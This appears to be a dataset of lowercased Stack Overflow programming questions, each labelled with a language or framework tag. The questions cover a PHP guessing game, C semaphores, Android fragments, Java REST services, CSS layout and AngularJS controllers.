can t get rid of a warning in php  i m trying to figure out why my reset  restart  button is not working properly because the incremented guessses and still going up. i also need to add a button that displays the correct number if someone gives up. thanks for the help earlier guys with the warning  these are the two parts i am stuck on.   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt; &lt;title&gt;guessing game&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;center&gt;&lt;form action= game.php  method= post &gt; guess a number 1-100:&lt;input type= text  name= userguess /&gt; &lt;input type= submit  value= guess /&gt; &lt;center&gt;&lt;form action= game.php &gt; &lt;input type= reset  value= restart /&gt; &lt;/form&gt;&lt;/center&gt; &lt;/body&gt; &lt;/html&gt;  &lt; php session_start();  $_session[ randnum ] = isset($_session[ randnum ])   $_session[ randnum ] : rand(0  100); $_session[ guesses ] = isset($_session[ guesses ])   $_session[ guesses ] : 0;  $randnum = $_session[ randnum ]; $userguess = $_post[ userguess ]; $userguess = filter_input(input_post   userguess );  if (isset($randnum)) {     if ($userguess&lt;$randnum) {             echo  &lt;center&gt;you guessed too low!&lt;/center&gt; ;             $_session[ guesses ]++;             echo $_session[ guesses ];         }     if ($userguess&gt;$randnum) {             echo  &lt;center&gt;you guessed too high!&lt;/center&gt; ;             $_session[ guesses ]++;             echo $_session[ guesses ];         }     if ($userguess==$randnum) {             echo  &lt;center&gt;congratulations you re right!!!&lt;/center&gt; ;                          unset($_session[ randnum ]  $_session[ guesses ]);     }     if ($userguess&gt;100 || $userguess&lt;0) {             echo  &lt;center&gt;please enter a number betweeen 1 and 100!&lt;/center&gt; ;     } } else {     echo  please enter a number between 1 and 100 ; }   &gt; </code></pre>,php
subtracting two integers which have different indexes but the same value  the given function should accept any array with any number of integers.    after it should subtract each two integers from each other beside integers which the same index.   <pre><code>var arrayfirst = [4  34  6  1 5]; var arraysecond = [4 34 6 1 4];  function find(arg) { var resultarray; var secondarray = []; for (var i = 0; i &lt; arg.length; i++) {     var firsarray;      for (var j = 0; j &lt; arg.length; j++) {          if (arg.indexof(arg[i]) != arg.indexof(arg[j])) {             console.log(arg.indexof(arg[i]) +  and  + arg.indexof(arg[j]));             firstarray = arg[i] - arg[j];             console.log(firstarray);             if (firstarray &gt;= 0) {                  secondarray.push(firstarray);             }         }     }     //console.log(secondarray); } resultarray = math.min.apply(this  secondarray); console.log(resultarray); return resultarray; } </code></pre>   so after debuging i found that function find works with arrayfirst but not with arraysecond    question : why function is not working when array has two integers with the same value      updated    sorry guys that i haven t putted more details    task: create a function which as result will give the sum of subtracting two integers from an array  the sum cannot be subtraction of two integers which have the same index  the sum cannot be bellow 0  the sum closest to the 0 will be the proper result.    example: [4 6 3 56 4] 4-6 4-3...4-4  then 6-4 6-3...6-4 then etc  so result will be 0 because 4-4 sum is 0    some hints    firstly i thought maybe it is something to do with operation on array but then i used apply and call on arguments   <pre><code>  if (array.prototype.indexof.apply(arguments[0] [arguments[0][i]]) !== array.prototype.indexof.apply(arguments[0] [arguments[0][j]])) {              firstarray = arguments[0][i] - arguments[0][j];             if (firstarray &gt;= 0) {                  secondarray.push(firstarray);             }         }     } </code></pre>   but is still not working  i tried the solution with to arguments  doesn t work either.,javascript
how to align two divs next to each other  first is fixed width  second is dynamic height  i am trying to produce responsive css for the following scenario.  we have a div container (henceforth called  the parent div/container ).  inside that div is an icon (represented by the  x s below) and a set of text inside a div next to it (represented by the  y s below).  both  x  and  y  containers have borders.  the icon is 44px wide and we want the  y  container to be 100% of the remaining width.   if the screen is resized  the  y  container flexes  taking up (or removing) additional lines as necessary. if the text is too long to fit on one line it will wrap within its own container.  roughly like this:   <pre><code>_____  ____________________ |xxxx| |yyyyyyyyyyyyyyyyyyy| &lt;-edge of screen |xxxx| |yyyyyyyyyyyyyyyyyyy| ------ |yyyyyyyy           |        -------------------- </code></pre>   we ve tried this a number of ways  but i ve not been happy with any. my current attempt (somewhat simplified):   <pre><code>#parent { position:relative; } #x { width: 44px; border: 1px solid red;} #y { position: absolute: left: 44px; top: 0px; border: 1px solid red } </code></pre>   this work for a number of my requirements  except that if the text overflows onto multiple lines the height of the  y  container is greater than the parent container and overlaps further content below the parent container.  it also does not fill the remaining width.    i d like to find a more elegant css-only solution to this.  any help appreciated!    edit: html looks like this:   <pre><code>&lt;div id= parent &gt;     &lt;div id= x &gt;&lt;i class= fa fa-exclamation-triangle &gt;&lt;/i&gt;&lt;/div&gt;     &lt;div id= y &gt;text goes here&lt;/div&gt; &lt;/div&gt; </code></pre>,css
check for existing record <pre><code>class catalog  {   bool bookcopy;  public: string booktitle; catalog() {    bookcopy = false;  }  catalog(string title  bool copy) { booktitle = title;  bookcopy = copy;  }   void settitle(string title)  {booktitle = title; }  void setbookcopy(bool copy) {bookcopy = copy; }  string gettitle()    { return booktitle; }  bool getcopy() { return bookcopy; }  };  class booklist  {       vector&lt;catalog&gt; list;    vector&lt;catalog&gt;::iterator transit;     public:     void fill();    void show();    };    void booklist::fill()   //create book record   {  string title;     bool copy;   catalog buffer;  cout &lt;&lt;  enter book information  stop to quit  &lt;&lt; endl;  cout &lt;&lt;  --------------------------   &lt;&lt; endl; while(true) {       cout &lt;&lt;  title:  ;       getline(cin  title);       if(title ==  stop )       break;       for(transit = list.begin() ; transit != list.end() ; transit++ ) {     if(transit-&gt;gettitle() == title) {       copy = true;      }       else         copy = false;     } </code></pre>   i want to check if an identical title exists when making a new record.  if it exists then to assign 1 to copy otherwise leave it as 0.  when i make a record with an identical title 1 does not get assigned to copy.,c++
semaphores and deadlocks in c  i m trying to code the producer/consumer problem using semaphores. i have 3  1 acting as a mutex  and another 2 for the buffer which the producers and consumers can add/remove from. when adding/removing from the buffer i use the binary semaphore to lock/unlock it so that the global variables aren t subject to any race conditions. the produce semaphore represents how many spots are available in the buffer (how many things can be put into the buffer) while the consumer semaphore represents how many things can be removed from the buffer. i think my logic is wrong cause i always reach a deadlock. also when i removed the produce and consume semaphores just to test whether or not the program does what its supposed to do  i still get race conditions even though the binary semaphore should be blocking that. what am i doing wrong    <pre><code>enter code here #include &lt;stdio.h&gt;   #include &lt;sys/types.h&gt;   #include &lt;unistd.h&gt;  #include &lt;stdlib.h&gt;      #include &lt;sys/wait.h&gt;    #include &lt;pthread.h&gt; #include &lt;/usr/include/semaphore.h&gt;  #define maxitems 100     #define producer_no 5    #define num_produced 5   void *producer_function (void); void *consumer_function (void); void add_buffer (long i); long get_buffer ();   long sum_value = 0;  long finished_producers; long buffer[maxitems];   int size = 0;        int front  rear = 0;      pthread_t producerthread[5]; pthread_t consumerthread; sem_t mutex  produce  consume;  int main(void) {     int i = 0;     srand (time(null));     sem_init (&amp;mutex  0  1);     sem_init (&amp;produce  0  100);     sem_init (&amp;consume  0  0);     for (i = 0; i &lt; 5; i++)     {         pthread_create (&amp;producerthread[i]  null  (void *) producer_function  null);     }     pthread_create (&amp;consumerthread  null  (void *) consumer_function  null);     for (i = 0; i &lt; 5; i++)     {         pthread_join (producerthread[i]  null);     }     pthread_join (consumerthread  null);     return(0); }  void *producer_function(void) {        long counter = 0;     long producer_sum = 0l;     while (counter &lt; num_produced)      {         sem_wait (&amp;mutex);         sem_wait (&amp;produce);         long rndnum = rand() % 10;          producer_sum += rndnum;         add_buffer (rndnum);         sem_post (&amp;consume);         counter++;         if (counter == num_produced)         {             finished_producers++;         }         sem_post (&amp;mutex);         usleep(1000);     }      printf( --+---+----+----------+---------+---+--+---+------+----\n );     printf( the sum of produced items for this producer at the end is: %ld \n   producer_sum);     printf( --+---+----+----------+---------+---+--+---+------+----\n );     return(0); }  void *consumer_function (void) {        while (1)      {         sem_wait (&amp;mutex);         sem_wait (&amp;consume);         long readnum = get_buffer();         sem_post (&amp;produce);         sum_value += readnum;         sem_post (&amp;mutex);         //printf ( %ld\n   sum_value);         if ((finished_producers == producer_no) &amp;&amp; (size == 0))         {             printf( ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n );             printf( the sum of the all produced items at the end is: %ld \n   sum_value);             printf( ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n );             break;         }     } }  void add_buffer(long i){     buffer[rear] = i;     rear = (rear+1) % maxitems;     size++; }  long get_buffer(){     long v;     v = buffer[front];     front = (front+1) % maxitems;     size--;     return v; } </code></pre>,c
crypto encryption path  i want to do crypto encryption in php but with the help of cryptoj.jar &amp; one encyption class of java      i have encyption code that is work properly if i put my necessary jar file &amp; java class in the following path     <pre><code>$_server[ document_root ]; </code></pre>   this is not an issue for local site  but this is not good idea to put libraries on this root on server.    if i created new directory &amp; put this directory in project folder  the code is not work      i am doing the following code on server.     <pre><code>$path =  java -cp   . dirname(__file__). /cryptoj.jar; encrypturlparams  source=baclubs&amp;identifier=123456&amp;timestamp=2014-02-21 09:59:37.498   ; echo $path; exit;     $last_line = exec($path   $retval);     echo  xcode= .$last_line; exit; </code></pre>   this code returns me nothing but if i put this on rootpath it gives me output. what is the problem guys..,php
how to pass data from one fragment to other in android   i am created two fragments name are frag_a and frag_b. in frag_a i display all data in listview. and also having update button. in frag_b having edit text and save button. firstly when user select one item from list view and then click upadate. when click on update frag_a is replace by frag_b and display the selected item from selected list view in edit text and user make changes and save.how to achive this demo   thanks in advance.    my databaseadapter file is dbadapter.java file   <pre><code>package com.dlcpl.insert_view;  import java.util.arraylist; import java.util.list;  import android.content.contentvalues; import android.content.context; import android.database.cursor; import android.database.sqlexception; import android.database.sqlite.sqlitedatabase; import android.database.sqlite.sqliteopenhelper; import android.util.log;  public class dbadapter {      public static final string key_text= text ;     public static final string tag= dbadapter ;      public static final string database_name= taskmanager.db ;     public static final string databas_table= text_table ;     public static final int database_version=1;      public static final string database_create= create table  +databas_table+ ( +key_text+  varchar(500) not null); ;     public final context context;     public databasehelper dbhelper;     public sqlitedatabase db;      public dbadapter(context ctx)     {         this.context=ctx;         dbhelper=new databasehelper(context);     }      private static class databasehelper extends sqliteopenhelper     {         public databasehelper(context context)         {             super(context database_name null database_version );         }          @override         public void oncreate(sqlitedatabase db)         {             try             {                 db.execsql(database_create);             }             catch(sqlexception e)             {                 e.printstacktrace();             }         }          @override         public void onupgrade(sqlitedatabase db  int oldversion  int newversion)         {             log.w(tag  upgrading database from version +oldversion+ to +newversion+  which will destroy all old data );             db.execsql( drop table if exists text_table );             oncreate(db);         }     }      //---opens the database---     public dbadapter open() throws sqlexception     {         db=dbhelper.getwritabledatabase();         return this;     }      //---close the database---     public void close()     {         dbhelper.close();     }      //---insert a text into the database---     public long inserttext(string text)     {         contentvalues initialvalues=new contentvalues();         initialvalues.put(key_text  text);         return db.insert(databas_table  null  initialvalues);     }      //---delete a particular contact---     public boolean deletecontact(string text)     {         return db.delete(databas_table  key_text +  =  + text  null) &gt; 0;     }      //---retrieves all the text     /*public cursor getalltext()     {         return db.query(databas_table  new string[] {key_text}  null  null  null  null  null);     }*/      public list&lt;string[]&gt; getalltext()     {          list&lt;string[]&gt; list = new arraylist&lt;string[]&gt;();         cursor cursor = db.query(databas_table  new string[] {key_text}  null  null  null  null  null);           int x=0;         if (cursor.movetofirst()) {             do {                 string[] b1=new string[]{cursor.getstring(0)};                  list.add(b1);                  x=x+1;             } while (cursor.movetonext());         }         if (cursor != null &amp;&amp; !cursor.isclosed()) {             cursor.close();         }          cursor.close();          return list;     }      //---retrieves a particular contact---     public cursor gettext(string string) throws sqlexception     {         cursor mcursor= db.query(true  databas_table  new string[] {key_text}  key_text +  =  + string  null  null  null  null  null);                if(mcursor !=null)         {             mcursor.movetofirst();         }         return mcursor;     }      //---updates a text_table---     public boolean updatecontact(string text)     {         contentvalues args=new contentvalues();         args.put(key_text  text);         return db.update(databas_table  args  key_text +  =  + text  null) &gt; 0;     }  } </code></pre>  <hr>   my frag_a file is view_data.java   <pre><code>package com.dlcpl.insert_view;  import java.util.arraylist; import java.util.list;  import android.os.bundle; import android.view.layoutinflater; import android.view.view; import android.view.viewgroup; import android.widget.arrayadapter; import android.widget.button; import android.widget.edittext; import android.widget.listview; import android.widget.textview; //import android.widget.toast; import android.app.listfragment; import android.graphics.color; public class view_data extends listfragment {      public static final string row_id =  row_id ;      listview listview;     textview selection;     textview label1;     public int idtomodify;      list&lt;string[]&gt; list = new arraylist&lt;string[]&gt;();     list&lt;string[]&gt; names2 =null ;     string[] stg1;       edittext a_input;     @override     public view oncreateview(layoutinflater inflater      viewgroup container  bundle savedinstancestate) {           return inflater.inflate(r.layout.view_data  container  false);     }         @override     public void onstart()     {         super.onstart();     dbadapter dbadapter =new dbadapter(getactivity());         dbadapter.open();                 names2 = dbadapter.getalltext();          stg1=new string[names2.size()];          int x=0;             string stg;              for (string[] name : names2) {                 stg = name[0];                  stg1[x]=stg;                 x++;             }          setlistadapter(new arrayadapter&lt;string&gt;(getactivity()  android.r.layout.simple_list_item_1  stg1));            button btnload = (button) getactivity().findviewbyid(r.id.updata);               btnload.setonclicklistener( new view.onclicklistener() {                               public void onclick(view v) {                         android.app.fragmentmanager fragmentmanager = getfragmentmanager();                                      android.app.fragmenttransaction fragmenttransaction = fragmentmanager.begintransaction();                                      update_data updatedata = new update_data();                        fragmenttransaction.replace(r.id.fragment updatedata);                                                  fragmenttransaction.commit();                                 }                          });           dbadapter.close();      }      public void onlistitemclick(listview parent  view v  int position  long id)          {                     for(int a = 0; a &lt; parent.getchildcount(); a++)              {                  parent.getchildat(a).setbackgroundcolor(color.white);              }              textview label1=(textview)getactivity().findviewbyid(r.id.textdisplay);            v.setbackgroundcolor(color.ltgray);               label1.settext(stg1[position]);         }    } </code></pre>   and frag_b file is update_data.java   <pre><code>package com.dlcpl.insert_view;  import android.app.fragment; import android.database.cursor; import android.os.bundle; import android.view.layoutinflater; import android.view.view; import android.view.viewgroup; import android.widget.button; import android.widget.edittext; //import android.widget.listview; import android.widget.textview; //import android.support.v4.app.fragment; import android.widget.toast;  public class update_data  extends fragment {     //string text;     edittext a_input;      textview label1;       @override     public view oncreateview(layoutinflater inflater      viewgroup container  bundle savedinstancestate)      {                 return inflater.inflate(r.layout.update  container  false);             }         @override     public void onstart()     {         super.onstart();         button btnload = (button) getactivity().findviewbyid(r.id.save_btn);          a_input = (edittext)getactivity().findviewbyid(r.id.udate_text);              btnload.setonclicklistener( new view.onclicklistener() {                              dbadapter adapter =new dbadapter(getactivity());                  public void onclick(view v) {                                                      adapter.open();                       cursor c = adapter.gettext( text );                         if (c.movetofirst())                         {                         displaycontact(c);                         }                         else                         {                         toast.maketext(getactivity()   no contact found   toast.length_long).show();                          }                         adapter.close();                       }                          });         }     public void displaycontact(cursor c)     {           a_input.settext(c.getstring(0));      }  }  </code></pre>   and my main activity file is home.java   <pre><code>package com.dlcpl.insert_view;  import android.app.activity; import android.os.bundle; //import android.support.v4.app.fragmentactivity; import android.view.menu; import android.view.view; import android.widget.button;   public class home extends activity {      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_home);             button insertdata = (button) findviewbyid(r.id.button1);         insertdata.setonclicklistener(new view.onclicklistener() {             public void onclick(view view) {                 insert_data insertdata = new insert_data();                                 android.app.fragmentmanager fragmentmanager = getfragmentmanager();                                  android.app.fragmenttransaction fragmenttransaction = fragmentmanager.begintransaction();                                  fragmenttransaction.replace(r.id.fragment insertdata);                                  fragmenttransaction.commit();                           }          });        button viewdata = (button) findviewbyid(r.id.button2);         viewdata.setonclicklistener(new view.onclicklistener() {             public void onclick(view view) {                 view_data viewdata = new view_data();                                 android.app.fragmentmanager fragmentmanager = getfragmentmanager();                                  android.app.fragmenttransaction fragmenttransaction = fragmentmanager.begintransaction();                                  fragmenttransaction.replace(r.id.fragment viewdata);                                  fragmenttransaction.commit();                           }          });     }      @override     public boolean oncreateoptionsmenu(menu menu) {         getmenuinflater().inflate(r.menu.activity_home  menu);         return true;     } } </code></pre>,android
trying to change tumblr css but  i am trying to edit the main-min.css in tumblr and when i put this into the browser    <a href= http://static.tumblr.com/vr9xgox/k7fnmibsu/main-min.css  rel= nofollow >http://static.tumblr.com/vr9xgox/k7fnmibsu/main-min.css</a>    i get a bunch of scrambled mess. it wasn t like this before. before it was all organized and whatever i wanted to change i just find by the line number.    am i doing something wrong     example:   <pre><code>    /*! normalize.css v1.1.0 | mit license | git.io/normalize */article aside details figcaption figure footer header hgroup main nav section summary{display:block}audio   canvas video{display:inline-block}audio:not([controls]){display:none;height:0}[hidden]{display:none}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}button html input select textarea{font-family:sans-serif}a:focus{outline:dotted thin}a:active a:hover{outline:0}h1{font-size:2em;margin:.67em 0}h2{font-size:1.5em;margin:.83em 0}h3{font-size:1.17em;margin:1em 0}h4  {font-size:1em;margin:1.33em 0}h5{font-size:.83em;margin:1.67em 0}h6{font-size:.67em;margin:2.33em 0}abbr[title]{border-bottom:1px dotted}b strong{font-weight:700}blockquote{margin:1em 40px}dfn{font-style:italic}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}mark{background:#ff0;color:#000}p pre{margin:1em 0}code kbd pre samp{font-family:monospace serif;font-size:1em}pre{white-space:pre;white-space:pre-wrap;word-wrap:break-word}q{quotes:none}q:after q:before{content:  ;content:none}small{font-size:80%}sub sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}dl menu ol ul{margin:1em 0}dd{margin:0 0 0 40px}menu ol ul{padding:0 0 0 40px}nav ol nav ul{list-style:none}img{border:0;-ms-interpolation-mode:bicubic}svg:not(:root){overflow:hidden}figure form{margin:0}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0;white-space:normal}button input select textarea{font-size:100%;margin:0;vertical-align:baseline}button input{line-height:normal}button select{text-transform:none}button html input[type=button] input[type=reset] input[type=submit]{-webkit-appearance:button;cursor:  pointer}button[disabled] html input[disabled]{cursor:default}input[type=checkbox] input[type=radio]{box-sizing:border-box;padding:0}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner input::-moz-focus-inner{border:0;padding:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@font-face{font-family:optica-icons;src:url(http://static.tumblr.com/vr9xgox/laznfengw/optica-icons.eot)}@font-face{font-family:optica-icons;src:url(data:application/x-font-ttf;charset=utf-8;base64 aaeaaaalaiaaawawt1mvmg6sazeaaac8aaaaygntyxdmquaiaaabhaaaafrnyxnwaaaaeaaaaxaaaaaiz2x5zqrxicuaaaf4aaadqghlywqd89awaaafiaaaadzoagvhb20dywaabvgaaaakag10eboabg0aaav8aaaakgxvy2ed1gliaaafpaaaabztyxhwaa4axgaabbwaaaagbmftzuzlp3eaaaxcaaabcnbvc3qaawaaaaahuaaaacaaawqaazaabqaaapkczaaaai8cmqlmaaab6wazaqkaaaaaaaaaaaaaaaaaaaabeaaaaaaaaaaaaaaaaaaaaabaaadmbwpa/8d/wapaaeaaaaabaaaaaaaaaaaaaaagaaaaaaacaaaaawaaabqaawabaaaafaaeaeaaaaamaagaagaeaaeaioyd5gf//f//aaaaaaag5gdmbv/9//8aaf/jggqaagadaaeaaaaaaaaaaaaaaaaaaqab//8adwabaaaaaaaaaaaaagaanzkbaaaaaaeaaaaaaaaaaaacaaa3oqeaaaaaaqaaaaaaaaaaaaiaadc5aqaaaaacafuaaaora1uaggawaaa  bmbyzmiqxftcnfseibgcoarurnzu0njc+atmbituhfzuhmjy3pge1eqcvfayhdgejaqbhhlwbfnbw/cckgasld4egbguqcqin/h7w1gjtcg8gbgz+bgqfcgucvwmdgsk+ggchbhek/uj5rqqhawid/qibwb+dbquedgobkn9abqgcawmaaqdvaiadmwkracqaaaeyfhcearcwbgcoaqcuascuatc+atc+atmearcearc+atc+atcclbk3gbcfaqerkclwq0rwksgsaqegfxg3grktexmcbwgcexmtgqkrehuwrzq7zy0uusulus4tzzs0rxyvegezebehcqkhebezaqaaaaadaiabvqoaagaagqazae0aaaeibgcoaruufhceatmynjc </code></pre>,css
ios:display long page content with many fonts and text styles  what would be the best way to display long passage with rich text style(multiple font styles  color  image).     attached screen is similar to the kind of content i need to display.    <a href= https://i.stack.imgur.com/e50qt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/e50qt.png  alt= enter image description here ></a>,ios
full link extraction using java  my goal is to always get the same string (which is the uri in my case) while reading the href property from a link. example: suppose think that a html file it have somany links like<br> <code>a href= index.html ></code> but base domain is <a href= http://www.domainname.com/index.html  rel= nofollow noreferrer >http://www.domainname.com/index.html</a><br> <code>a href= ../index.html ></code> but base domain is <a href= http://www.domainname.com/dit/index.html  rel= nofollow noreferrer >http://www.domainname.com/dit/index.html</a><br> how can i get all the link correctly means the full link including domain name   <br>how can i do that in java  <br>  the input is html that is from a bunch of html code it need to extract correct link,java
how can we set a large uiimage on small uiimageview  i am using imagview with size of 320x320 to display large image (350 x 783).    while placing the large image into the imageview  the image looks squeezed  compressed something not like the quality one.    my question is  how can i make the large image into small with as good quality as the original image,iphone
java rest web service using post  i am trying to do a java rest web service using  post  method.my client part to invoke the web service is working proper.but i am facing difficulty in accessing the passed parameters by  post  method.any help would be appreciable. here is my client side   <pre><code>  public static void main(string[] args) throws ioexception {     string urlparameters =  param1=world&amp;param2=abc&amp;param3=xyz ;      string request =  http://localhost:8080/wsrevdash/rest/post/test ;      url url = new url(request);      httpurlconnection conn = (httpurlconnection) url.openconnection();     conn.setdooutput(true);     conn.setinstancefollowredirects(false);     conn.setrequestmethod( post );     conn.setrequestproperty( charset    utf-8 );     dataoutputstream wr = new dataoutputstream(conn.getoutputstream());     wr.writebytes(urlparameters);     wr.flush();     wr.close();     reader in = new bufferedreader(new inputstreamreader(conn.getinputstream()   utf-8 ));     system.out.println( \nsending  post  request to url :   + url);     system.out.println( post parameters :   + urlparameters);      for (int c; (c = in.read()) &gt;= 0;)         system.out.print((char)c); } </code></pre>   and here is my java rest web service method to access the parameters(unable to access).   <pre><code>   @post     @path( /test )     @produces(mediatype.application_json)       public string getpostdata(@queryparam( param1 ) string param1 @queryparam( param2 ) string param2)     {          jsonobject jobjdevice = new jsonobject();           jobjdevice.put( hello  param1);          return jobjdevice.tojsonstring();       } </code></pre>   when i run i am getting  { hello :null} as json string instead of { hello : world }.getting null means it is unale to access the passed parameters.please do help.,java
time limit exceeding for http://www.spoj.com/problems/prime1/  can anybody give me some tips to improve it   time limit exceeding for <a href= http://www.spoj.com/problems/prime1/  rel= nofollow >http://www.spoj.com/problems/prime1/</a>  can anybody give me some tips to improve it  hi  i am posting my code here too  please have a look and give few suggestions to avoid time out.   <pre><code>import java.io.bufferedreader; import java.io.inputstreamreader; import java.util.bitset;  public class primegenerator{ private static final int n=31624; private static bitset p=new bitset(n); private static bufferedreader getbufferedreader(){return new    bufferedreader(getinputstreamreader());} private static inputstreamreader getinputstreamreader(){return new inputstreamreader(system.in);} private static string getstringfrombr(bufferedreader bufferedreader) throws exception{return bufferedreader.readline();} private static string[] splitstring(string s){return s.split(   );} private static int getinteger(string s){return integer.parseint(s);}  public static void main(string args[]) throws exception {     findallprimes();     bufferedreader br = getbufferedreader();     string line = getstringfrombr(br);     int t = getinteger(line);     iterateforalltestcases(br  t); }  private static void iterateforalltestcases(bufferedreader br  int t) throws exception {      for (int i=0; i&lt;t; i++){         string line=getstringfrombr(br);         string a[]=splitstring(line);         long x=getinteger(a[0]);         long y=getinteger(a[1]);         printallprimes(x y);     } }  private static void printallprimes(long x  long y){           printallprimesutil(x y);   }  private static void printallprimesutil(long x  long y){      long i=x;     long j;     int flag;      for( ;i&lt;=y;i++){          if(i&lt;n){             if(p.get((int) i)){                 system.out.println(i);             }         }          else{             flag=0;             innerloop:             for(j=2; (j*j)&lt;i; j++){                 if (flag==1) break innerloop;                  if(p.get((int) j)){                     if(i%j==0){                         flag=1;                     }                  }             }              if(flag==0){                 system.out.println(i);             }         }     } }   private static void findallprimes(){     p.clear(0);     p.clear(1);      for (int i = 2; i &lt;= n; i++){         p.set(i);     }      for(int i=2; (i*i)&lt;=n ;i++){         if (p.get(i)) {             for (int j = 2*i; j &lt;= n; j+=i) {                 p.clear(j);             }         }     }  } </code></pre>   },java
if else statement does not give desired output <pre><code>from datetime import date import calendar  my_date = date.today() today_day = calendar.day_name[my_date.weekday()]  if today_day ==  wednesday  or  thursday :     place =  a  else:     place =  b  </code></pre>   initially  i wanna set place as  a  when  today  is  wednesday  or  thursday   otherwise as  b . but the designed code kept returning  a  despite it is  saturday  today(14/10/2017). how could i fix it,python
how to setup angularjs controllers  anonymous functions vs $scope.init() vs view ng-init  assume we have a controller: <code>projectsnewctrl</code>    what is the difference between:    setting up the controller without an <code>init()</code> function   <pre><code>app.controller( projectsnewctrl   [ $scope    $location    api    function ($scope  $location  api) {     api.project.query().$promise       .then(function (projects) {         $scope.projects = projects       })   }]) </code></pre>   and    setting up the controller with an <code>init()</code> function   <pre><code>app.controller( projectsnewctrl   [ $scope    $location    api    function ($scope  $location  api) {     $scope.init = function(){       api.project.query().$promise         .then(function (projects) {           $scope.projects = projects         })       }     $scope.init()    }]) </code></pre>   and finally:    setting up the controller via:   <pre><code>&lt;div ng-controller= projectsnewctrl  ng-init= init() &gt;...&lt;/div&gt;  app.controller( projectsnewctrl   [ $scope    $location    api    function ($scope  $location  api) {     $scope.init = function(){       api.project.query().$promise         .then(function (projects) {           $scope.projects = projects         })       }    }]) </code></pre>,angularjs
rails 4 post multiple child objects under multiple parent objects on the same form  i have nested resources with a parent model called main and a child model called temperature. each main can have many temperatures (1 to many). is there any way to post multiple temperatures  with each temperature going to a different main object  on one single form using form_for and fields_for (i would like to have just one submit button)  the following is my main s index view and main &amp; temperature controllers. thanks!    <pre><code>&lt;% @mains.each do |main| %&gt; &lt;tr&gt;   &lt;td&gt;stuff.....&lt;/td&gt;   &lt;td&gt;&lt;%= form_for main do |f| %&gt;     &lt;%= f.fields_for :temperature do |t| %&gt;       temp: &lt;%= t.text_field :temp %&gt;     &lt;% end %&gt;   &lt;% end %&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>      <pre><code>class mainscontroller &lt; applicationcontroller #stuff  def index     @mains = main.all end  private      def main_params         params.require(:main).permit(:freezer_id  :freezer_name  temperatures_attributes: [:id  :main_id  :temp  :date])     end end  class temperaturescontroller &lt; applicationcontroller #stuff def create     @main = main.find(params[:main_id])     logger.debug  testing 1      @temp = @main.temperatures.create(temperature_params)     if @temp.save         redirect_to main_path(@main)     else         render  mains/show      end  end   private     def temperature_params         params.require(:temperature).permit(:temp  :date)     end end </code></pre>,ruby-on-rails
which provisioning profile is required so that any user has access to install app on their iphone   i want to post my iphone app on my website and users will be downloading it from my site. which provisioning profile is required so that any user has access to install app on their iphone (i cant go for appstore for distribution ).    thanks in advance.,iphone
how determine if application is web application  in a core assembly  which is run both in a windows service  and in a web application  i need to store information per user session. the service will have a single user session  and the web application uses httpcontext.current.    i want to configure which method to use within the core assembly - convention over configuration. i want to do this only once  and i believe httpcontext.current will be null when run from application_start.    how can i reliably determine if the application is a web application,.net
angularjs : default value setting inside controller  i have a question regarding the angularjs set value and reset it to default.    here an example   <pre><code>$scope.defaultvalue = {     a: 1      b: 2 } var dupvalue = $scope.defaultvalue;  ...  function changevalue() {     dupvalue.b = 3; }  ... </code></pre>   after i execute the function <code>changevalue()</code>  i wish to change my <code>dupvalue</code> back to <code>defaultvalue</code> which i simply just call   <pre><code>dupvalue = $scope.defaultvalue; </code></pre>   some how it did t work. because the <code>defaultvalue</code> s element has changed due to the function i executed.    is there any method to make this work,angularjs
sql - re.split: by comma then space  i want to split the following string into city  province  postal code. thank you so much for the help!!!!    description: split by comma  then split by space only once.   <pre><code>a =  vaughan  on l6d 9x0  </code></pre>   result:   <pre><code>(vaughan  on  l6d9x0) </code></pre>   attempt:   <pre><code>re.split(  |/s[1]   a) </code></pre>,sql
how to get time interval since device was unlocked  i ve got an app which uses a pincode for security but i would like to be able to allow user to bypass if device had just been unlocked  say within last 60s. is there away to determine this using official api calls . using ios 7.1+,ios
php writing comments on the code  <strong>a.</strong>   <pre><code>&lt; php  /*  * create variable $number1 and $number2.  */ $number1 = 3; $number2 = 4;  /*  * perform addition and display total on web page.  */ $total = $number1 + $number2; echo $total;  &gt; </code></pre>   <strong>b.</strong>   <pre><code>&lt; php  /*  * - create variable $number1 and $number2.  * - perform addition and display total on web page.  */ $number1 = 3; $number2 = 4; $total = $number1 + $number2; echo $total;  &gt; </code></pre>   i would like to write a comments on the code.  which one should i prefer <br /> any other ways of writing comments are welcome. <br /> i just want to learn the good ways of writing comments.,php
is it necessary to cache objects   for a project i have some objects  one method is to load the parent entity.    so i call the method like this: $this->getdetails()->getentity();    so the code of getentity is:   <pre><code> public function getentity()  {   if (isset($this-&gt;entity)) {    return $this-&gt;entity;   } else {    $mapper = new crm_mapper_entity();    return $this-&gt;entity = $mapper-&gt;find($this-&gt;customerid);    }  } </code></pre>   is it necessary to load the entity into the attribute  because when i want to load it on another place it shouldnt be calling the mapper again.    or is it that when it s loaded  the object is already in memory and i don t need to put it into the attribute     thanks,php
